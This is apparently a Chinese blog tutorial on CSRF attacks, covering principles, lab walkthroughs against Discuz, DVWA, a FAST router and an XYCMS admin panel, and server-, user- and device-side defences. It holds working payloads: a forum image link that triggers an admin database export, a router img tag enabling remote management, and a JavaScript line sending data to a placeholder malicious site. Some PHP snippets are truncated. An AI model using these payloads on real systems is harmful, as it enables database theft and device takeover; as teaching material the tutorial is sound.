CSRF攻击

CSRF是Web应用程序的一种常见漏洞,其攻击特性是危害性大但非常隐蔽,尤其是在大量Web 2.0技术的应用背景下,攻击者完全可以在用户毫无察觉的情况下发起CSRF攻击。本文将对其基本特性、攻击原理、攻击分类、检测方法及防范手段做一个系统的阐述,并列举攻击实例。
1.1.1 CSRF漏洞简介
Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。 很多人搞不清楚CSRF的概念,甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。
这里列举一个场景解释一下,希望能够帮助你理解。

CSRF攻击方式并不为大家所熟知,实际上很多网站都存在CSRF的安全漏洞。早在2000年,CSRF这种攻击方式已经由国外的安全人员提出,但在国内,直到2006年才开始被关注。2008年,国内外多个大型社区和交互网站先后爆出CSRF漏洞,如:百度HI、NYTimes.com(纽约时报)、Metafilter(一个大型的BLOG网站)和YouTube等。但直到现在,互联网上的许多站点仍对此毫无防备,以至于安全业界称CSRF为“沉睡的巨人”,其威胁程度由此“美誉”便可见一斑。

1.1.2 CSRF攻击原理及实例
当我们打开网站或者登陆某个网站后,就会产生一个会话(这里指用户登陆后),这个会话可能是SESSION,Cookie控制,但是这是无关紧要的。唯一的重点是浏览器与服务器之间是在会话之中,在这个会话没有结束时候,你可以利用你的权限对网站进行操作,如进行发表文章,发邮件,删除文章等操作。当这个会话结束后,你在进行某些操作时候Web应用程序通常会来提醒你,您的会话已过期,或者是请重新登陆等提示。

这非常好理解,就像我们登陆网上银行后,Web浏览器已经跟可信的站点建立了一个经认证的会话。之后,只要是通过该Web浏览器这个认证的会话所发送的请求,都被视为可信的动作,例如转账,汇款等操作。当我们在一段时间内不进行操作后,再来重新做转账,或者汇款操作,那么这个站点可能会提示你:您的身份已过期,请重新登陆或者会话结束等消息。
而CSRF攻击则是建立会话之上的攻击。比如当你登陆了网上银行,正在进行转账业务,这时你的某个QQ好友(攻击者)发来一条消息(URL),这条消息是攻击者精心构造的转账业务代码。而且与你所登录的网站是同一个银行,你可能认为这个网站是安全的,并不是什么钓鱼网站之类的,然后打开了这条URL,那么你的账户的钱可能就在你的这一次小小点击上全部丢失。
怎么可能这么神奇呢?其实这并不神奇。主要是因为你的浏览器正处于与此网站的会话之中,那么一些操作都是合法的,而入侵者构造的这段代码只不过是正常的转账操作代码而已。比如说你想给用户spisec转账1000元,那么点击提交按钮之后,可能会发送以下请求:

http://www.taobao.com/pay.jsp?user=spisec&money=1000

而攻击者仅仅是改变一下user参数与money参数即可完成一次“合法”的攻击,如:

http://www.taobao.com/pay.jsp?user=hack&money=10000

当你访问了这条URL之后,就会自动向hack这个账户里面转入10000元。而这是你亲手造成的,并没因为有人去破解你的密码或者是Web服务器被入侵所导致的你的金钱丢失。下面以CSRF攻击原理图给大家形象总结:

  1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
    2.在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;

  2. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;

  3. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;

  4. 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。

    通过以上的攻击原理描述个人总结CSRF两个侧重点:

    1、CSRF的攻击建立在浏览器与Web服务器的会话之中。
    2、欺骗用户访问URL
    1.1.3 CSRF攻击分类
    CSRF漏洞一般分为站外和站内两种类型。

    CSRF站外类型的漏洞本质上就是传统意义上的外部提交数据问题。通常程序员会考虑给一些留言或者评论的表单加上水印以防止SPAM问题(这里,SPAM可以简单的理解为垃圾留言、垃圾评论,或者是带有站外链接的恶意回复),但是有时为了提高用户的体验性,可能没有对一些操作做任何限制,所以攻击者可以事先预测并设置请求的参数,在站外的Web页面里编写脚本伪造文件请求,或者和自动提交的表单一起使用来实现GET、POST请求,当用户在会话状态下点击链接访问站外Web页面,客户端就被强迫发起请求。

    CSRF站内类型的漏洞在一定程度上是由于程序员滥用$_REQUEST类变量造成的。在一些敏感的操作中(如修改密码、添加用户等),本来要求用户从表单提交发起POST请求传递参数给程序,但是由于使用了$_REQUEST等变量,程序除支持接收POST请求传递的参数外也支持接收GET请求传递的参数,这样就会为攻击者使用CSRF攻击创造条件。一般攻击者只要把预测的请求参数放在站内一个贴子或者留言的图片链接里,受害者浏览了这样的页面就会被强迫发起这些请求。
    1.1.4 CSRF 漏洞检测
    检测CSRF漏洞是一项比较繁琐的工作,最简单的方法就是抓取一个正常请求的数据包,去掉Referer字段后再重新提交,如果该提交还有效,那么基本上可以确定存在CSRF漏洞。
    随着对CSRF漏洞研究的不断深入,不断涌现出一些专门针对CSRF漏洞进行检测的工具,如CSRFTester,CSRF Request Builder等。以CSRFTester工具为例,CSRF漏洞检测工具的测试原理如下:使用CSRFTester进行测试时,首先需要抓取我们在浏览器中访问过的所有链接以及所有的表单等信息,然后通过在CSRFTester中修改相应的表单等信息,重新提交,这相当于一次伪造客户端请求。如果修改后的测试请求成功被网站服务器接受,则说明存在CSRF漏洞,当然此款工具也可以被用来进行CSRF攻击。
    1.1.5 CSRF 实例
    1.1.5.1 CSRF 快速拖库案例
    ‘拖库’本来是数据库领域的术语,指从数据库中导出数据。到了黑客攻击泛滥的今天,它被用来指网站遭到入侵后,黑客窃取其数据库。
    网站数据库被拖,直接导致用户信息泄露,造成的危害很大,比如:CSDN明文密码泄露事件、小米800W用户信息泄露事件等等。他所造成的危害极高,直接影响网站用户数据(包括金钱、个人信息等)!
     首先,我们先登录一下discuz的后台,模拟管理员进行周期性的数据库备份。如图1:

                                图1
    

备份完之后的数据库备份在图2:

                              图2

也就是在http://127.0.0.1/upload/uc_server/data/backup/backup_150204_hsEI77/这个目录下150204_5CcUZd-1.sql文件。 然后,我们将数据库备份删除掉。现在,backup这个目录下没有任何备份。

 其次我们换个浏览器,注册一个新普通用户,如:图3

                           图3

接着,我们模拟正常用户发帖。如图4 

                           图4

注意:
发帖时,一定要添加一个网络图片,链接设置为:
http://192.168.1.55:8080/dzcsrt/uc_server/admin.php?m=db&a=operate&t=export&appid=0&backupdir=xxxx%26backupfilename%3Daaaa

如图5: 

                                图5
我们再使用原来有管理员登陆的浏览器访问这个帖子(在访问论坛这个帖子之前,刷新一下后台页面,保证没有因为长时间未操作而引起登陆会话超时造成实验失败)。 
如图6所示: 

                            图6
访问之后,我们只看到了一张没有正常显示的图片,并没有其他的问题。 我们之前在模拟管理员进行数据库备份的时候,已经把备份好的数据拷走并删除掉,backup这个文件夹里面是空的。现在让我们来看一下这个文件夹,是不是像图7里面一样呢? 

                               图7

 最后,我们可以访问这个链接,将我们拖下来的数据库下载到本地。 图8:

                            图8

案例总结分析:
打开chrome浏览器,然后按一下键盘上的F12,然后访问那张图片的链接,接着点击network这个按钮,然后我们可以找到这张图片9的请求。

                                图9

                               图10

1、网页加载图片的URL,前面已经说过,就是管理员在数据备份时所访问的URL,由于不是正常的图片格式,所以不能正常解析。
2、虽然图片不能正常解析,但是浏览器还是回去访问一下这个URL,由于当前账户是管理员,有数据库备份的操作权限,且数据在传输到服务端,服务端根据请求的URL、参数、动作进行了处理,从而造成了数据库被拖。
3、很明显,攻击者在我们不知情的情况下盗用了我们的身份,来完成他们想要做的事情。
1.1.5.2 CSRF 修改密码案例
访问DVWA如下地址就可以直接修改密码:
http://192.168.1.55:8080/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change
通过以上链接地址在不关闭此浏览器选项卡的情况下,打开新窗口页面(保持cookie 可用),就可以完成密码修改。

漏洞代码如下:

' . mysql_error() . '' ); echo "
 Password Changed 
"; mysql_close(); } else{ echo "
 Passwords did not match. 
"; } } ?>

漏洞代码分析:
没有判断原来的密码,直接两次输入的密码相同就修改原来的密码,这不是今天的重点,避免CSRF是不是应该判断下请求的来源。接下来看Referer判断请求来源下面这段代码:

' . mysql_error() . '' ); $html .= "
 Password Changed 
"; mysql_close(); } else{ $html .= "
 Passwords did not match. 
"; } } } ?>

这里开始判断请求来源了,也就是$_SERVER['HTTP_REFERER'] ,eregi 是判断是否存在某字符的函数如果存在127.0.0.1 就执行下面的:

没反映,因为referer 里没有127.0.0.1,怎么办?直接用burp抓包把http://192.168.1.55:8080/dvwa/vulnerabilities/csrf/加入到referer里面,点击转发数据包,发现密码修改成功。

下面我们来看看DVWA是如何防范CSRF修改密码:

' . mysql_error() . '' ); if (($pass_new == $pass_conf) && ( $result && mysql_num_rows( $result ) == 1 )){ $pass_new = mysql_real_escape_string($pass_new); $pass_new = md5($pass_new); $insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';"; $result=mysql_query($insert) or die('
' . mysql_error() . '
' ); $html .= "
 Password Changed 
"; mysql_close(); } else{ $html .= "
 Passwords did not match or current password incorrect. 
"; } } ?>
直接判断旧密码是否正确了,这样在不知用户原有密码的情况下,不管是否存在CSRF,你都是无效的。

1.1.5.3 本地网络设备CSRF攻击

FAST无线宽带路由器的管理界面——远端WEB管理

在登录状态,被攻击者访问了带有CSRF攻击代码的网页时,就“被迫”开启了“远程WEB管理”功能。

CSRF攻击代码如下:
<img src=http://192.168.1.1/userRpm/ManageControlRpm.htm?port=80&ip=255.255.255.255&Save=%B1%A3+%B4%E6>
使用GET方式发起的CSRF攻击,通过社工等手法让被攻击者访问恶意站点的CSRF文件。
FAST无线宽带路由器的WEB管理的默认用户名与密码:admin。
1.1.5.4 CSRF 无需浏览器案例

1.1.5.5 CSRF 半自动化测试工具案例
OWASP CSRFTester是OWASP推出的CSRF半自动化软件,他省去了CSRF最繁琐的过程,代码构造。下面是软件的截图

这款软件是由java编写的,所以在运行软件之前需要事先安装java环境,cmd窗口是告诉我们此时软件正在监听8008端口。软件的大致介绍就到这,后文我将进一步的说明。

这里我选择了“XYCMS中心小学建站系统”

OK,我们进入后台http://192.168.1.55:809/admin,账号密码默认都是admin。进入后台,我们选择“管理员管理”

 我想细心的人已经发现了。他只要求你输入账号 密码 确认密码。没有发现验证码验证。我们在浏览器里代理下8008端口(虽然网站是809端口,但是还是可以监听到数据,所以不必在意网站是809,软件监听的是8008的问题。因为在浏览器里任何数据都必须要经过8008,网站虽说是809端口,但是数据还要转到8008端口)。然后用软件看下有没有token的存在(你也可以用burp、fiddler等等)。
 点击开始

我们在网站里输入账号和密码。

点击提交数据后,软件就会抓到数据包了。

抓到数据包之后对当前数据包保存,记得把无用的信息删除掉:

我们发现并没有找到token的值,那么我们就可以来实现CSRF攻击了。
看到下面的Report Type了么。这些是让你选择用什么方法来进行攻击。
Forms:创建一个form表单。内容为hidden(隐藏),用户不可见(可POST、GET)
iFrame:创建一个iframe框架,高宽为0,用户不可见。(可POST、GET)
IMG:创建一个IMG标签(只能GET)。
XHR:创建一个AJAX请求(可POST、GET)
Link:创建一个a标签的超链接(只能GET)
OK,介绍完了。但是呢,这五个里,我只推荐第一个。原因有下:
第二个容易找不到对象(如果你是新手,对JavaScript不熟的话,不建议选择这个)
第三个只能发送GET请求,有限制。
第四个有跨域限制,有的浏览器不允许发送跨域请求,除非网站有设置。
第五个需要点击才能触发(当然可以修改为自动触发),还有一个是他也只能发送GET请求。
Ok,我这时选择forms选项,他会生成一个HTML文件,而且会自动打开,如果不成功不要灰心,这个软件不是特别的完整,有些地方需要改进。不成功的话就打开HTML改下源码,参照浏览器的审查元素就行。

点击Generate HTML来生成,生成好后,把生成的index.html放到网站目录下。诱使管理员打开,管理员打开后,将会是这样:

成功了,我们在后台看下。

可以看到成功添加了。
我们可以把这个index.html放到自己服务器上,又是管理员打开,然后了管理员当时正在后台,或则管理员的session没有过期,你可以在网站留言板里吧网址写上去。就可以完成CSRF攻击了。
下面给大家讲解一下burp自带的csrf工具,我个人认为比CSRFtester更方便,如下图:

1.1.6 CSRF 蠕虫模型

注:
同域内CSRF攻击获取数据几乎没任何限制。
跨域CSRF攻击获取数据的几种方法总结如下:
1、XSS
2、服务端代理技术
3、JSON Hijacing
4、Flash AsctionScript(crossdomain.xml)
要获取的关键数据是唯一标识:
用户id、用户昵称、用户email、用户个人页面地址等。

一、XSS获取数据
使用目标站点上的XSS漏洞:

http://恶意站点/get.js的代码是: //use DOM method to get your data new Image(). src=‘http://恶意站点/do.php?data=‘+yourdata; 恶意站点的do.php文件接收唯一标识等数据。该唯一标识可以是url中的或是目标站点url对应的内容中的。

二、使用JSON Hijacking
使用JSON Hijacking技术:
目标站点使用了JSON数据传输用户私有数据。
该私有数据内包含我们需要的唯一标识等信息。
相关代码:

三、使用FLASH
使用Flash ActionScript脚本:
目标站点下必须存在crossdomain.xml文件,crossdomain.xml中的配置允许其他域的AS脚本进行跨域请求。

相关代码: import flash.net.*; var _l = new URLLoader(new URLRequest(“http://目标站点/")); _l.addEventListener(Event.COMPLETE,function(){text1.text = _l.data}); _l.load(); 1.1.7 CSRF漏洞防御 CSRF漏洞防御主要可以从三个层面进行,即服务端的防御、用户端的防御和安全设备的防御。 1.1.7.1 服务端的防御 目前业界服务器端防御CSRF攻击主要有5种策略:验证HTTP Referer字段,在请求地址中添加token并验证,在HTTP头中自定义属性并验证等。下面分别对5种策略进行简要介绍。 1.1.7.1.1 验证HTTP Referer字段 根据HTTP协议,在HTTP头中有一个字段叫Referer,它记录了该HTTP请求的来源地址。在通常情况下,访问一个安全受限页面的请求必须来自于同一个网站。比如某银行的转账是通过用户访问http://bank.test/test?page=10&userID=101&money=10000页面完成,用户必须先登录bank. test,然后通过点击页面上的按钮来触发转账事件。当用户提交请求时,该转账请求的Referer值就会是转账按钮所在页面的URL(本例中,通常是以bank. test域名开头的地址)。而如果攻击者要对银行网站实施CSRF攻击,他只能在自己的网站构造请求,当用户通过攻击者的网站发送请求到银行时,该请求的Referer是指向攻击者的网站。因此,要防御CSRF攻击,银行网站只需要对于每一个转账请求验证其Referer值,如果是以bank. test开头的域名,则说明该请求是来自银行网站自己的请求,是合法的。如果Referer是其他网站的话,就有可能是CSRF攻击,则拒绝该请求。 1.1.7.1.2 在请求地址中添加token并验证 CSRF攻击之所以能够成功,是因为攻击者可以伪造用户的请求,该请求中所有的用户验证信息都存在于Cookie中,因此攻击者可以在不知道这些验证信息的情况下直接利用用户自己的Cookie来通过安全验证。由此可知,抵御CSRF攻击的关键在于:在请求中放入攻击者所不能伪造的信息,并且该信息不存在于Cookie之中。鉴于此,系统开发者可以在HTTP请求中以参数的形式加入一个随机产生的token,并在服务器端建立一个拦截器来验证这个token,如果请求中没有token或者token内容不正确,则认为可能是CSRF攻击而拒绝该请求。 1.1.7.1.3 在HTTP头中自定义属性并验证 自定义属性的方法也是使用token并进行验证,和前一种方法不同的是,这里并不是把token以参数的形式置于HTTP请求之中,而是把它放到HTTP头中自定义的属性里。通过XMLHttpRequest这个类,可以一次性给所有该类请求加上csrftoken这个HTTP头属性,并把token值放入其中。这样解决了前一种方法在请求中加入token的不便,同时,通过这个类请求的地址不会被记录到浏览器的地址栏,也不用担心token会通过Referer泄露到其他网站。 1.1.7.1.4 在服务端区严格区分好POST与GET的数据请求 如在asp中不要使用Request来直接获取数据。同时建议不要用GET请求来执行持久性操作,如: http://www.yeeyan.com/space/deleteEvent/16824。 1.1.7.1.5 使用验证码或者密码确认方式进行 这种方法很有效,但是用户体验就差了些。 1.1.7.2 用户端的防御 对于普通用户来说,都学习并具备网络安全知识以防御网络攻击是不现实的。但若用户养成良好的上网习惯,则能够很大程度上减少CSRF攻击的危害。例如,用户上网时,不要轻易点击网络论坛、聊天室、即时通讯工具或电子邮件中出现的链接或者图片;及时退出长时间不使用的已登录账户,尤其是系统管理员,应尽量在登出系统的情况下点击未知链接和图片。除此之外,用户还需要在连接互联网的计算机上安装合适的安全防护软件,并及时更新软件厂商发布的特征库,以保持安全软件对最新攻击的实时跟踪。 1.1.7.3 安全设备的防御 由于从漏洞的发现到补丁的发布需要一定的时间,而且相当比例的厂商对漏洞反应不积极,再加之部分系统管理员对系统补丁的不够重视,这些都给了攻击者可乘之机。鉴于上述各种情况,用户可以借助第三方的专业安全设备加强对CSRF漏洞的防御。 CSRF攻击的本质是攻击者伪造了合法的身份,对系统进行访问。如果能够识别出访问者的伪造身份,也就能识别CSRF攻击。研究发现,有些厂商的安全产品能基于硬件层面对HTTP头部的Referer字段内容进行检查来快速准确的识别CSRF攻击。图11展示了这种防御方式的简图。目前H3C公司的IPS产品采用了特殊技术,支持对部分常用系统的CSRF漏洞攻击进行检测和阻断。

图11 安全设备传统防御方式

posted @ 2019-11-12 22:14  挂机兄  阅读(459)  评论(0编辑  收藏  举报